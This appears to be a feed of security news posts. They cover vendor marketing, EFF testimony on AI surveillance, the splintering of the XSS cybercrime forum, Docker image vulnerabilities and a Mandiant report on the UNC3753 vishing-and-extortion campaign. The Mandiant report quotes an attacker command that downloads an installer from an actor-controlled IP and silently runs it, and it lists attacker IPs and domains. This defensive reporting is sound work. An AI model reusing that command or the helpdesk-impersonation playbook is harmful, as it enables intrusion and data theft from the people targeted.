AI-driven development is not something organizations can or should block. But it must be governed.
The post Everybody Is Vibe Coding But Nobody Told the Security Team appeared first on SecurityWeek.
The Active Sessions and Lockdown Mode features are being made more broadly available by the AI giant.
The post OpenAI Rolling Out ChatGPT Account Security Controls appeared first on SecurityWeek.
The proposed coordination would let advanced AI labs verify that global rivals have actually stopped or slowed their work.
The post Anthropic Urges Industry Coordination to Allow for a ‘Pause’ in AI Development if Risks Grow appeared first on SecurityWeek.
In this post, we explore how Flashpoint’s External Attack Surface Management (EASM) capability helps organizations continuously discover internet-facing assets, identify exposure to critical vulnerabilities, and prioritize remediation efforts based on real-world risk.
Table Of Contents
The volume of vulnerability disclosures is higher than ever, yet most security teams are still struggling to act.
From vulnerability scanners to public sources and AI-accelerated discovery, organizations are often drowning in findings, but lack the context to prioritize what affects their perimeter and is actively being exploited.
Compounding this challenge is the growing issue of unknown and forgotten assets. Up to 95% of a company’s assets change each year, creating critical external blind spots and leaving them vulnerable to attacks on unmonitored infrastructure.
As attack surfaces expand due to cloud adoption, shadow IT, acquisitions, and distributed environments, many organizations struggle to maintain control over what assets they own, what software is running on those assets, and therefore, where exposures exist. You can’t patch what you don’t know is there.
These are the challenges Flashpoint External Attack Surface Management (EASM) is designed to address. With the introduction of EASM in Flashpoint Ignite, organizations can continuously discover internet-facing assets, map them to Flashpoint Vulnerability Intelligence, and prioritize remediation efforts based on actual risk rather than vulnerability volume and severity alone.
“The most effective vulnerability management programs are built on more than vulnerability awareness alone,” said Josh Lefkowitz, Co-Founder and CEO of Flashpoint. “Organizations need to understand where exposure exists within their environment and focus remediation efforts where they will have the greatest impact. Flashpoint EASM helps connect vulnerability intelligence directly to exposed assets, giving security teams a clear path from identification to remediation.”
For many organizations, vulnerability intelligence is no longer the limiting factor.
Security teams have access to more vulnerability data than ever before. They can track newly disclosed vulnerabilities, monitor exploit activity, review KEV catalogs, and identify emerging threats often within hours of disclosure. And Flashpoint customers get the added advantage of learning about vulnerabilities up to 2 weeks faster than NVD, as well as the growing 105K+ vulnerabilities that never make it to public sources.
But understanding whether those vulnerabilities affect assets the organization actually owns remains a challenge. And that challenge exists because asset visibility and vulnerability intelligence often live in separate workflows.
As environments become more dynamic, validating exposure often requires analysts to pivot between scanners, spreadsheets, asset inventories, cloud consoles, and vulnerability intelligence sources.
As a result, organizations must face a growing disconnect between understanding which vulnerabilities are out there vs. whether the organization is actually at risk.
Flashpoint EASM begins by discovering internet-facing assets associated with an organization, giving security teams an attacker’s-eye view of their external perimeter. Using seed domains and IP addresses, it initiates ongoing discovery across the external environment, uncovering infrastructure that often evades internal tracking, including:
Once assets are validated, they are surfaced within Ignite and automatically correlated with Flashpoint Vulnerability Intelligence, including pre-NVD findings, KEV intelligence, and proprietary vulnerability coverage beyond public sources. Teams receive alerts when new assets are discovered and when newly identified vulnerabilities affect monitored assets. For a full walkthrough of the workflow, see the Flashpoint EASM product update.
Not every vulnerability on your attack surface demands the same response. Flashpoint EASM helps teams cut through the noise by combining asset exposure with intelligence on what attackers are actively exploiting, so remediation efforts focus on the vulnerabilities that create meaningful risk.
Rather than focusing on vulnerability severity alone, security teams can now prioritize based on actual exploit activity targeting their attack surface. Flashpoint EASM provides the clarity needed to make that shift.
As attack surfaces continue to evolve, organizations need full attack surface visibility, intelligence on what attackers are exploiting, and an efficient path to remediation.
By connecting Flashpoint Vulnerability Intelligence directly to their exposed assets, organizations can move from reactive investigation to having confidence that their external perimeter is continuously monitored and de-risked.
Learn more about Flashpoint External Attack Surface Management and request a demo.
What is External Attack Surface Management (EASM)?
External Attack Surface Management (EASM) helps organizations discover, monitor, and assess internet-facing assets that could be exposed to attackers.
This includes domains, subdomains, IP addresses, cloud infrastructure, internet-accessible services, and other externally exposed assets that may introduce security risk.
By continuously monitoring these assets, organizations can better understand their external attack surface and identify exposures that require remediation.
How is Flashpoint EASM different from traditional asset inventories?
Traditional asset inventories, CMDBs, and internal scanners often depend on manual updates and may not reflect the full scope of an organization’s internet-facing environment.
Flashpoint EASM continuously discovers external assets and maps them to Flashpoint Vulnerability Intelligence, helping organizations identify exposures that may otherwise remain difficult to track through static inventories alone.
Why is attack surface visibility important?
As organizations adopt cloud services, acquire new businesses, deploy new applications, and support distributed environments, external attack surfaces change constantly.
Without continuous visibility, security teams may struggle to identify unknown assets, shadow IT, forgotten infrastructure, or newly exposed services that increase organizational risk.
How does Flashpoint EASM help prioritize remediation?
Knowing a vulnerability is severe is only half the picture. Flashpoint EASM correlates discovered assets with our proprietary vulnerability intelligence, including KEV data and pre-NVD findings, so teams can prioritize based on the severity of vulnerabilities present on their actual attack surface.
What vulnerability intelligence is included?
Flashpoint EASM integrates directly with Flashpoint Vulnerability Intelligence, including:
This allows organizations to understand both exposure and vulnerability relevance within a single workflow.
Does Flashpoint EASM support continuous monitoring?
Yes. Once assets are discovered and validated, Flashpoint EASM continuously monitors the external attack surface for newly identified assets, vulnerable software, exposed services, and relevant vulnerability findings.
Teams can receive alerts when new exposure risks are identified.
How does Flashpoint EASM reduce alert fatigue?
Traditional vulnerability programs generate large volumes of findings without clarity on whether those assets are actually owned or exposed. Flashpoint EASM’s triage inbox lets teams accept true assets and reject noise, ensuring alerts are scoped only to infrastructure the organization actually owns.
Who should use Flashpoint EASM?
Flashpoint EASM is designed for security teams responsible for:
It is particularly valuable for organizations seeking to connect vulnerability intelligence to real-world asset exposure and remediation priorities.
How does Flashpoint EASM work with Flashpoint Vulnerability Intelligence?
Flashpoint EASM extends the value of Flashpoint Vulnerability Intelligence by helping organizations understand where vulnerable assets exist within their external environment.
Rather than viewing vulnerability intelligence and attack surface visibility separately, organizations can use both capabilities together to identify exposure, prioritize remediation, and reduce risk more effectively.
The post Connecting Vulnerability Intelligence to Real-World Exposure With Flashpoint EASM appeared first on Flashpoint.
Written by: Chad Reams, Tufail Ahmed, Keith Knapp, Ashley Frazer, Tyler McLellan
From January through May 2026, Mandiant identified a financially motivated data theft extortion campaign executed by the threat cluster UNC3753 (also tracked as "Luna Moth," “Chatty Spider,” and "Silent Ransom Group") targeting dozens of organizations across professional, legal, and financial services in the United States.
UNC3753 leverages voice phishing (vishing) and social engineering deception techniques to achieve remote access into corporate environments. Using pretexts such as data migration or invoice related emails, the threat actors initiate phone conversations posing as IT support and convince targets to host screen-sharing sessions and download remote monitoring and management (RMM) utilities. Once inside the environment, the threat actors either directly conduct searches to locate and exfiltrate highly sensitive data, or manipulate the victim into executing these actions on their behalf. This data typically includes proprietary legal agreements, personally identifiable information (PII), and financial records for subsequent extortion demands.
Notably, in instances possibly linked to UNC3753, threat actors have accessed victims' systems in person. In these physical incidents, individuals posing as IT technicians entered corporate offices to attempt direct exfiltration of data from an endpoint using USB storage media.
This blog post details the threat group's technical lifecycle across recent Mandiant Consulting incident response engagements, highlights tactics like physical office targeting, and provides actionable recommendations to safeguard endpoints and infrastructure.
The UNC3753 campaign lifecycle reflects an optimized, fast-tempo operational model. In many Mandiant investigated incidents, the entire attack sequence—from initial target contact to data theft and extortion—occurred within a single business day. Recently, Mandiant observed data searches, staging, and theft initiated in under an hour.
The threat group frequently initializes campaigns using benign, invoice-themed email lures sent from actor-controlled consumer email accounts. These messages contain no active links or malicious attachments. Instead, they typically contain a brief, generic message for example: “hello, here is the invcoie we talked about yesterday”. Google Threat Intelligence Group (GTIG) assesses that the primary purpose of these emails is to establish a pretext, raising the target's internal security concerns so they are more susceptible to follow-up voice calls.
Figure 1: UNC3753 attack lifecycle
The core of UNC3753's entry mechanism relies on targeted vishing. Mandiant has observed the group targeting personnel across all seniority levels, who are often publicly listed on the organization’s websites, to harvest phone numbers and email addresses. Acting as members of the organization's internal IT helpdesk or security team, threat actors place direct calls to these employees.
The callers use a variety of verbal instructions to guide target behavior. Under the guise of addressing a security issue or aiding with a corporate data migration project, they build trust and direct the target to join a screen-sharing session.
Once the target is engaged, the threat actors bypass conventional automated boundary security and email filtering controls by instructing the user to download and execute screen-sharing applications.
UNC3753 instructs targets to initiate remote desktop and support sessions using built-in or commercial services, including Zoom, Microsoft Terminal Services, Microsoft Teams, and Quick Assist. During a Teams-facilitated intrusion, the threat actor held five distinct calls with the same target over a three-day period.
UNC3753 frequently attempts to establish more persistent access by social engineering targets into downloading AnyDesk, Bomgar, or Zoho Assist installers. In one engagement, the threat actor attempted to install a "SuperOps RMM agent" by convincing the target to download and execute a payload via a cURL command.
Threat actors consistently utilize privnote[.]com, a web-based, self-destructing text utility, to transmit installation links and commands to targets. This evasion technique ensures that copy-paste vectors leave no permanent footprint on endpoint browsers or chat logs.
Example cURL command staging string observed in UNC3753 remote sessions:
Login
curl -sL "http://[actor-controlled-ip]/installer" -o "SuperOps.msi" && msiexec /i "SuperOps.msi" /quietIntrusions have abused Bring Your Own Device (BYOD) remote environments to access internal enterprise assets. In separate Mandiant Consulting cases, UNC3753 established Zoom sessions directly on targets' personal BYOD endpoints. Using these compromised personal laptops, they accessed corporate virtual desktop infrastructure (VDI) using native client platforms, such as Windows 365 (Windows365.exe) or Citrix clients.
Once VDI environment access is secured, the threat actors pivot to corporate file systems:
System Enumeration: The threat actors map local directories, enumerate active OneDrive folders, and crawl mapped network drives.
Document Management Targeted Harvesting: Threat actors target specific legal and document storage repositories.
Keyword Search and File Staging: Threat actors use specific keyword search functions within iManage to locate highly sensitive folders containing tax logs (Forms W-2, W-9, and 1099), audit files, corporate client agreements, and Social Security numbers (SSNs). Staged results are compiled and sorted within target-accessible subdirectories, primarily inside the user's Downloads folder or native Roaming profile path.
UNC3753 exfiltrates the staged data using a variety of methods to bypass security controls. They frequently use portable versions of WinSCP or Rclone. In other instances, they simply log into a threat actor-controlled consumer file sharing account directly within the victim's web browser and batch upload the stolen files.
Cloud Storage Staging: Threat actors instruct targets—or directly control their screens—to drag and drop staged folders into threat actor-controlled consumer file sharing accounts. In several intrusions, the exfiltration destination included folders explicitly renamed to mimic the victim organization's branding.
FTP Utilities: When browser-based uploads are restricted by endpoint controls, threat actors download FTP and SFTP client binaries, primarily WinSCP, to exfiltrate bulk packages. In one incident, the threat group exfiltrated 1.7 gigabytes of data from a target's local OneDrive folder to a Google Drive account before pivoting to a VDI session and exfiltrating an additional 14.4 gigabytes using WinSCP. Google has taken action against this actor by disabling the Drive accounts and assets associated with this activity.
Email Forwarding: The threat actors have also had victims stage files from internal iManage repositories and instructed them to send the files to threat actor-controlled consumer email addresses from the target's mailbox.
The threat cluster delivers unbranded extortion communications via email shortly after successfully stealing data, often within 30 minutes of exiting the target environment.
These highly aggressive extortion letters give organizations a three-day deadline to respond and initiate ransom negotiations. If the victim organization is unresponsive, the threat actors declare they will call and email target employees and external clients directly to alert them of the data breach. The extortion letters explicitly emphasize that the leak will compromise client trust, invite substantial regulatory fines, and suggest that external clients sue the victim organization for data mishandling. Additionally, as part of a follow-on message the group has threatened to publish all exfiltrated archives on the LEAKEDDATA data leak site (DLS).
|
|
Figure 2: UNC3753 extortion note example
Figure 3: LEAKEDDATA DLS (partially redacted; cropped)
While UNC3753 primarily relies on digital vectors, GTIG assesses that associated threat actors have also attempted direct data theft using physical, in person access. This escalating tactic is corroborated by a recent FBI Cyber FLASH Alert highlighting instances where Silent Ransom Group threat actors leveraged physical office access to exfiltrate corporate data via removable USB media.
According to the FBI advisory, if remote social engineering attempts fail, actors will send an individual to a victim's physical location. The onsite threat actor will claim they need to image the device or create local backups to address a security issue. Once they gain access to the endpoint, they attempt to exfiltrate corporate data directly to an external drive.
Although limited forensic evidence and the absence of a subsequent extortion attempt prevent formal attribution, GTIG assesses that these physical intrusions are likely associated with UNC3753 based on structural, timeline, and targeting overlaps.
GTIG attributes this campaign and related social engineering operations to UNC3753 based on infrastructure overlaps, domain registrar tracking, victimology, and target staging directories. UNC3753 (aliases: "Luna Moth," “Chatty Spider,” and "Silent Ransom Group (SRG)") is a financially motivated threat cluster active since at least March 2022. UNC3753 has TTP overlaps with UNC2686, a threat cluster that conducted "Bazarcall" style campaigns dating to early 2021. UNC3753 deployed LOCKBIT.BLACK in 2022, but has since prioritized data theft extortion-only operations typically involving threats to post stolen files to the LEAKEDDATA DLS. The threat cluster relies heavily on Remote Monitoring and Management (RMM) tools, unlike UNC2686 which deployed BAZARLOADER variants as well as TRICKBOT, URSNIF, and SILENTNIGHT. Initially, UNC3753 used subscription-themed billing email lures (such as fake software renewal alerts), typically with PDF attachments containing phone numbers for actor-controlled call centers. Beginning around March 2025, the cluster shifted tactics to pose as internal corporate IT helpdesk staff.
To mitigate the risk of voice phishing, physical office intrusions, and unauthorized endpoint control, GTIG recommends that organizations implement the following mitigation controls:
Conduct user awareness training specifically tailored to UNC3753 tactics, techniques, and procedures.
Implement rigid out-of-band identity verification controls for all external contractors, technical staff, and facilities visitors. Mandate the following physical controls:
Require visitors to display official credentials and photo identification.
Require front-desk staff to copy and log all physical visitor IDs before granting access.
Verify the arrival of all technicians against pre-scheduled work orders directly with the verified parent organization or helpdesk dispatcher.
Enforce a policy requiring physical technical service personnel to be escorted by a corporate supervisor at all times.
Implement remote access conditional access policies to ensure only corporate owned devices can authenticate to Virtual Desktop Instance (VDI) or Virtual Private Network (VPN) devices. This facilitates increased organizational control and visibility for potential Remote Monitoring and Management usage.
Audit corporate environments to block the installation and execution of unauthorized remote monitoring, management, and support utilities. Enforce application control policies (e.g. Windows Defender Application Control or third-party endpoint protection tools) to restrict execution of non-approved binaries. Organizations may also consider restricting interactive screen-control features within authorized virtual meeting platforms like Zoom and Teams.
To neutralize physical exfiltration vectors, disable read/write capabilities for all external USB mass storage devices. Enforce Group Policy Objects (GPOs) or MDM configurations to restrict:
USB storage device installation.
Removable media access.
Optical media writes on all corporate endpoints and BYOD systems utilizing VDI entry.
Monitor firewall logs, network flows, and endpoint execution logs for indicative exfiltration and staging actions. Specifically:
Block or alert on outbound connections to unauthorized file-sharing APIs and emails.
Ensure full session logging with bytes transferred is enabled within Firewall log configurations.
Monitor SSH traffic (Port 22) from internal VDIs and endpoints for high-volume WinSCP and Rclone transfers.
Review authentication and access metrics for critical document stores to identify bulk harvesting profiles.
Configure real-time alerts in iManage, SharePoint, and corporate email directories for rapid file searches, search-term spikes, and mass file downloads.
Implement multi-factor authentication (MFA) on business critical data repository applications, such as iManage.
Implement strict BYOD authentication controls, requiring MFA step-up queries when accessing VDI nodes.
The targeting of US legal and professional services organizations by financially motivated actors is a persistent industry risk. Legal services firms represent high-value targets for extortion actors. They maintain concentrated repositories of extremely sensitive client transaction files, merger and acquisition plans, client trade secrets, and corporate regulatory reports. Threat groups recognize that legal entities are subject to heavy reputational and regulatory exposure and may be highly motivated to resolve extortion situations quietly to protect their professional standing.
Threat actors recognize that targeting the human element—specifically using voice-guided social engineering—enables them to easily bypass robust technical perimeters, web security gateways, and MFA configurations.
Finally, the integration of in-person, physical intrusions represents an escalation in threat capability. While log-based defenses and endpoint telemetry have matured, physical corporate boundaries are frequently protected only by administrative procedures. Organizations must transition to a unified security posture that treats physical facility access control and endpoint-based hardware policies as equal components of their defensive perimeter.
UNC3753 utilizes the following web platform to disclose the identities of victims and their compromised data.
hxxps[:]//business-data-leaks[.]com
GTIG identified infrastructure registrations by suspected UNC3753 actors utilizing specific naming conventions, assessed as supporting their ongoing social engineering and vishing activities.
<organization>-itdesk[.]com
<organization>-it[.]com
<organization>-helpdesk[.]com
To assist the wider community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) in a GTI Collection for registered users.
|
IOC Type |
Indicator |
|
IPv4 Address |
192.236.147.131 |
|
IPv4 Address |
192.236.147.138 |
|
IPv4 Address |
193.141.60.212 |
|
IPv4 Address |
192.236.154.158 |
|
IPv4 Address |
192.236.146.173 |
|
IPv4 Address |
174.169.162.62 |
|
IPv4 Address |
64.94.84.97 |
Google SecOps customers have access to these broad category rules and more under the Mandiant Intel Emerging Threats rule pack. The activity discussed in the blog post is detected in Google SecOps under the rule names:
Execute MSI Files Downloaded via Curl
Suspected Rclone Exfiltration
|
Tactic |
Technique ID |
Technique Name |
|
Initial Access |
T1566.004 |
Phishing: Spearphishing Voice |
|
T1133 |
External Remote Services |
|
|
Execution |
T1204.002 |
User Execution: Malicious File |
|
T1059.001 |
Command and Scripting Interpreter: PowerShell |
|
|
T1059.003 |
Command and Scripting Interpreter: Windows Command Shell |
|
|
T1569.002 |
System Services: Service Execution |
|
|
Persistence |
T1053.005 |
Scheduled Task/Job: Scheduled Task |
|
T1547.001 |
Boot or Logon Autostart Execution: Registry Run Keys |
|
|
Defense Evasion |
T1036.005 |
Masquerading: Match Legitimate Name or Location |
|
T1553.002 |
Subvert Trust Controls: Code Signing |
|
|
T1562.001 |
Impair Defenses: Disable or Modify Tools |
|
|
T1070.001 |
Indicator Removal: Clear Windows Event Logs |
|
|
Credential Access |
T1003.001 |
OS Credential Dumping: LSASS Memory |
|
T1003.002 |
OS Credential Dumping: Security Account Manager |
|
|
Discovery |
T1083 |
File and Directory Discovery |
|
T1135 |
Network Share Discovery |
|
|
T1046 |
Network Service Discovery |
|
|
Lateral Movement |
T1219 |
Remote Access Software |
|
T1021.001 |
Remote Services: Remote Desktop Protocol |
|
|
T1021.004 |
Remote Services: SSH |
|
|
Collection |
T1005 |
Data from Local System |
|
Command & Control |
T1572 |
Protocol Tunneling |
|
Exfiltration |
T1020 |
Automated Exfiltration |
|
T1567.002 |
Exfiltration Over Web Service: Exfiltration to Cloud Storage |
|
|
T1052.001 |
Exfiltration Over Physical Medium |
|
|
Impact |
T1486 |
Data Encrypted for Impact |
Governments must not adopt emerging and powerful AI technologies without also adopting strong and clear safeguards to protect Constitutional rights, EFF Senior Policy Analyst Dr. Matthew Guariglia testified today to the House Homeland Security Subcommittee on Cybersecurity and Infrastructure Protection.
During the hearing on “The AI Security Landscape: How Frontier Models, Agentic AI, and AI Coding Tools Are Reshaping Cybersecurity and Critical Infrastructure Resilience,” he explained that the use of generative AI for the purposes of mass government surveillance would supercharge unconstitutional violations of civil liberties. He also highlighted how government secrecy, in addition to the black box of for-profit proprietary technology, prevents the public and lawmakers from knowing when AI models make mistakes, including errors that seriously impact the cybersecurity of critical infrastructure and the lives of individuals.
“AI also has a track record of getting things wrong—from false citations on legal briefs to a major AI mistake that sent DHS recruits to the field without proper training. There are likely more consequential examples that we do not even know about because of classification that would prevent a more thorough accounting," he said in his opening remarks.
“At this level the question is not how do we rein in AI, it’s how do we rein in the agencies that would unleash AI on the American public,” Matthew said in response to a question by Subcommittee Ranking Member Delia Ramirez, D-Ill.
You can read his full testimony as prepared here.
For years, network security operated on a relatively predictable premise: inspect traffic, identify malicious content, and block it. Because deep content inspection created a seemingly robust defense in depth, relatively static legacy approaches—like reliance on threat intelligence feeds—were allowed to simply persist in the background.
The weaponization of agentic AI and highly evasive techniques has fundamentally shattered that model. Attackers are no longer just iterating on old threats. They are launching attacks at staggering velocity, completely outpacing threat feeds, and employing evasion tactics that actively starve legacy prevention solutions of the content they rely on to inspect.
Our new research report from Unit 42, Attackers Are Evading Threat Prevention at the Internet Edge, reveals how adversaries are actively exploiting the contextual vacuum at the IP layer to bypass standard security controls. For security leaders, understanding this shift is no longer optional. As the nature of the threat fundamentally changes, our strategic approach to network security must definitively change with it.
To understand why legacy defenses are failing, we must look at how adversaries are accelerating and obfuscating every stage of the attack lifecycle. As these threats progress, the commonly used network indicators we have long relied upon are vanishing, collapsing traditional defenses and leaving defenders with little to act on.
Powered by frontier AI, adversaries now automate reconnaissance and exploitation at huge scale and speed, while using anonymizers to mask their intent. Once an intrusion is launched, orchestration shifts to highly evasive command and control (C2). Attackers hide communications using advanced encryption and AI-built malware-less techniques. They’re also bypassing traditional web and DNS inspection entirely by routing traffic directly to IP addresses—a tactic Unit 42 found in 23% of modern malware
Ultimately, the takeaway is clear: network threat prevention can no longer rely solely on detecting malicious payloads. As AI-driven attacks continue to minimize their footprint, security strategies must augment content inspection with real-time IP layer monitoring to left-shift threat detection and counter these rapid, machine-speed threats at the network foundation.
Where content-based detection falls short, many security vendors and organizations still rely on IP threat intelligence feeds to pick up the slack in an attempt to filter out malicious connections on the network layer. However, after years of operating under this model, the results are in—the traditional feed is showing its age.
Attackers have long relied on proxies, anonymizers, residential routers and public cloud providers as a tactic to evade detection. However, agentic AI morphs this process, enabling rapid infrastructure rotation and stealth at an unprecedented scale. As this autonomous evasion accelerates, experienced network defenders continue to run into the well-known limitations of classic IP blocklists:
If modern and agentic AI-enabled attacks can outrun traditional network payload-based detections, we need a new weapon in the network defender’s arsenal. We can no longer depend on yesterday’s IP feeds to secure such an extremely agile threat environment.
To outpace the impact of agentic AI and advanced evasion on network threat prevention, security leaders must redefine their defense strategy and shift-left to track the attacker infrastructure itself—monitoring the exact IP layer locations where adversaries build and control their campaigns. Deep content inspection remains essential, but securing the modern edge requires establishing the context and intent of a connection before a session is established.
To achieve this goal, organizations must move beyond the limitations of static defense and adopt a modern security blueprint:
By moving away from point-in-time assumptions and embracing real-time, inline protection, security leaders can reclaim the advantage at the network foundation.
To see how these evasion tactics operate in the wild, read the latest Unit 42 report, Attackers Are Evading Threat Prevention at the Internet Edge. You’ll find this report valuable in understanding the systemic gaps in legacy risk models and learning why continuous verification must be our new mandate.
The post How AI and Evasion Demand a Radical Shift in Network Threat Prevention appeared first on Palo Alto Networks Blog.
In this post, we explore XSS’ shift from a unified forum to a scattered community spread across several competing factions.
Table Of ContentsFor more than two decades, XSS was the gathering ground for the Russian-speaking cybercriminal underground. Evolving from its former name, DaMaGeLaB, XSS evolved from a mid-tier message board into a top-tier hacking forum.
XSS is home to vendors of various crime types, including loaders, phishing, scamming, carding, malware development, distributed denial-of-service (DDoS) bots, and related services. It also facilitates the trade of illicit goods and services, while simultaneously serving as a networking and recruitment hub for threat actors.
XSS forum content falls within the following main sections:
On July 23, 2025, law enforcement organizations reportedly seized XSS as part of a multinational operation with Ukrainian authorities, French police, and Europol. Alongside the domain seizure, French authorities reported the arrest of XSS’s longtime administrator in Ukraine.
This arrest triggered an immediate chain reaction that has had lasting effects on the Russian-speaking underground—with the XSS ecosystem splintering into several competing factions.
While the original XSS architecture was severely disrupted, the surrounding Russian-speaking cybercriminal ecosystem remains intensely active. However, instead of a centralized hub, the XSS ecosystem is spread out through competing environments that emerged directly from the fallout of the takedown.
Launched by the legacy moderators of XSS, DamageLib represents a structural pivot away from standard illicit forums. Concluding that the old XSS site was compromised by law enforcement, the moderators launched a new model that completely abandons commerce—shutting down all buying, selling, and auctions entirely—-to eliminate user tracking and surveillance. Instead, it focuses strictly on technical materials and tutorials.
Recognizing that displaced cybercriminals still required a commercial venue to trade, a former XSS moderator launched Rehub quickly after the emergence of DamageLib. Rehub immediately integrated a commercial platform, successfully recruiting prominent threat actors into its moderation team to establish underground credibility.
The forum is still in its development stage, with its content being populated, and an active member base being built.
In early August 2025, an unknown entity launched an alleged resurrection of the forum on a new domain [.pro], utilizing old backups that preserved legacy user data, threads, and forum deposits. However, this new version has been met with significant distrust from Exploit and DamageLib, believing the [.pro] domain to be a honeypot controlled by law enforcement.
Started by a pro-Russian Telegram hacking group, this community actively targets EU and Ukrainian digital infrastructure. According to user discussions on DamageLib, this forum is not related to XSS. In addition, Flashpoint analysts note that targeting Ukrainian infrastructure directly contradicts its original community rules. The authenticity of this forum and its ownership has not been verified.
While law enforcement achieved a significant victory over XSS, they did not eliminate the Russian-speaking cybercriminal underground. Instead, they broke the foundational trust mechanics that had kept it centralized for twenty years.
This has left the Russian-speaking underground in a deeply fractured state that is still intensely active and highly adaptive. For defenders and analysts, this threat has not diminished—it has diversified. Tracking this ecosystem no longer means watching a single centralized community, but rather actively mapping out the live migrations, shifting rules, and behavioral patterns across these splintered groups.
Request a demo to learn how Flashpoint helps security teams aggregate intelligence from these scattered factions into a single source of truth, empowering your organization to proactively monitor and intercept emerging threats.
The post Understanding Illicit Ecosystems: XSS and the Current State of the Russian-Speaking Underground appeared first on Flashpoint.
Enterprise security has always had a comforting assumption baked into it: systems do what they were built to do. Sometimes badly. Sometimes insecurely. Sometimes in ways that make auditors develop a nervous twitch. But still, the basic shape was understandable. Applications processed requests. Databases stored data. APIs connected systems. Users clicked things they probably should not have clicked. Then AI arrived and made the whole thing a little weird. AI did not introduce one neat new risk category. Security teams are very good at turning new risk categories into taxonomies, dashboards, and meetings with names like “working group.” The real […]
The post The AI Defense Plane: Securing the New Enterprise Execution Layer appeared first on Check Point Blog.
Containerization using Docker has become firmly established in modern development standards, significantly increasing the speed and convenience of deploying various services. Developers often use ready-made Docker images, making only minimal changes. The largest repository of container images is the Docker Hub service.
Container-hosted infrastructure is an attractive target for attackers. At a minimum, a compromised container can be used for DDoS attacks, cryptocurrency mining, or traffic proxying. The list of threats does not end there: once an attacker gains control of a container, they can steal or destroy data directly from it, access neighboring containers, or even attempt to escape the container, compromising the entire enterprise network.
At the same time, the infrastructure inside containers is typically updated less frequently and may contain outdated and vulnerable software versions. When deploying third-party images or modifying them for a specific environment, it is easy to make configuration errors that attackers can later exploit. And due to the architectural characteristics of containers, developers often face constraints when preparing images; to overcome these, they may resort to insecure solutions they find online.
In other words, containerized infrastructure can be both the simplest and the most lucrative target to exploit. Therefore, its security requires heightened attention. To minimize the risk of successful attacks on container infrastructure, it is essential to check the final Docker images, including all underlying layers, for vulnerabilities and misconfigurations. The easiest way to do this is by analyzing the Dockerfile; however, it is not always available for inspection. Moreover, it typically defines how to build layers on top of a base image from an external repository whose reliability cannot be guaranteed.
Image analysis results in Kaspersky Container Security
To help users identify insecure configurations and potential vulnerabilities within them, we have added our AI assistant to Kaspersky Container Security.KIRA (the assistant’s name) uses artificial intelligence to analyze the image and identify potential issues within, along with recommendations on how to fix them.
As part of this study, we asked KIRA to analyze a number of popular community images, and later in this article, we’ll show you the results.
One of the key security issues with using pre-built images is that developers do not update them in a timely manner. A Docker image is, by its very nature, a snapshot of a specific Linux distribution after packages have been installed on it. However, in most cases, it does not receive security updates on its own, unlike traditional Linux servers, where these updates are automatically installed by specialized services, such as unattended-upgrades in Debian-based distributions and dnf-automatic in RedHat-based distributions.
To apply updates to a Docker image, it must be rebuilt and redeployed. Often, this process is not automated, and some updates require additional effort to verify their correct operation, modify configurations when upgrading to new software versions, and so on. As a result, many popular images do not receive timely updates, which significantly increases the risks associated with their use.
An image that was secure at build time accumulates vulnerabilities as they are discovered in the packages installed within it, which over time significantly increases the opportunities for a successful attack on the container.
Vulnerable versions of web applications and network services accessible from the internet immediately become targets of various malicious campaigns. For example, just one day after the discovery of the CVE-2025-55182 vulnerability in React Server Components, our honeypots recorded numerous attack attempts related to this vulnerability. It was adopted by operators of many malicious campaigns, ranging from classic cryptocurrency miners to variants of Mirai and Gafgyt. Attackers are constantly adding new distribution methods and can use dozens of exploits targeting various vulnerabilities and configuration errors in popular services. Often, the same vulnerabilities are used in self-propagation mechanisms from already compromised hosts. For example, in a malicious campaign to spread the Dero miner, attackers use infected containers to automatically search for and infect new targets.
In addition to vulnerabilities that can be exploited remotely, attackers are rapidly adding local vulnerabilities to their arsenal, used to gain root privileges and escape the container: in the Kinsing malware campaign, attackers used CVE-2023-4911 (Looney Tunables) to elevate privileges, and in the perfctl campaign, the CVE-2021-4034 (PwnKit) vulnerability was used for the same purpose. The access gained was used to install a rootkit that hides the presence of perfctl on the system.
To assess the situation with unpatched vulnerabilities in containers, we took a random sample of 100 images, which included various popular solutions with 10,000 to 1 million downloads on DockerHub. In the 64 images we scanned, we found outdated software versions with critical vulnerabilities. For example, some images contained the CVE-2025-49844 vulnerability in the Redis server, leading to RCE by leveraging a vulnerability in the Lua parser; the current CVE-2026-24061 vulnerability in nginx, which in some configurations leads to a server process crash, and with ASLR disabled, again, to RCE; vulnerabilities CVE-2025-32463 in sudo and CVE-2023-4911 in glibc, allowing an attacker to gain root privileges with local access. At the same time, only one in ten Docker images from the analyzed sample is fully up to date.
TOP 10 Critical Vulnerabilities with PoC/Exploits available as shown in the Kaspersky Container Security Dashboard
It is worth noting that, of course, not every discovered vulnerability can be directly exploited by attackers. A practical risk arises when the vulnerable application or library is actually in use, and the conditions necessary for exploitation – which vary significantly from vulnerability to vulnerability – are met. Nevertheless, updates must not be ignored, as the risk of vulnerabilities being exploited – both individually and in various combinations – cannot be predicted in each specific case, and even vulnerabilities that seem harmless at first glance can ultimately pose a serious risk of compromise.
A record number of vulnerabilities in a single image
However, frequent updates have a downside. Every rebuild that downloads new packages from source repositories introduces an additional risk of a supply chain attack – a compromised dependency or a modified base image could silently inject malicious code into your environment precisely through an update. During our analysis of images from the sample, we did not find any signs of supply chain attacks. However, in March 2026, a supply chain incident occurred in the Trivy and LiteLLM projects. In the case of Trivy, the infected file was injected directly into the container image in the official repositories.
Detecting potentially malicious software using one of the images as an example
This leads to a difficult choice: infrequent updates leave known vulnerabilities unpatched within the image, while frequent updates increase the risk of supply chain compromise. Therefore, to protect your infrastructure, you need not only to regularly update base images but also to take a more comprehensive approach, specifically by pinning dependencies to known-good versions and scanning the resulting images for malware upon update.
Even a container with a fully updated image can be compromised if it is configured incorrectly. Embedding keys and secrets in the image, disabling authentication in network services, default passwords, and insecure file access permissions – all of these can be exploited by attackers in one way or another to achieve their goals.
Insecure image configurations detected by KCS based on rules
The situation is exacerbated by the fact that errors may be introduced by the authors of the original image, which complicates their detection, as this requires analyzing every layer and the command that generated it. As with vulnerabilities, not every configuration error leads to compromise: it all depends on the container’s role, its network accessibility, and many other factors. But the very use of insecure settings will sooner or later lead to errors appearing in images where their consequences will be significantly more dangerous.
Standard rules are often insufficient for analyzing problematic configurations. To gain a deeper understanding of the context and assess potential risks, AI tools can be used. Later in this section, we will examine examples of typical insecure configurations we discovered while scanning public images from Docker Hub, along with the descriptions of issues and risk mitigation methods provided by the KIRA AI assistant.
Example of container analysis using KIRA
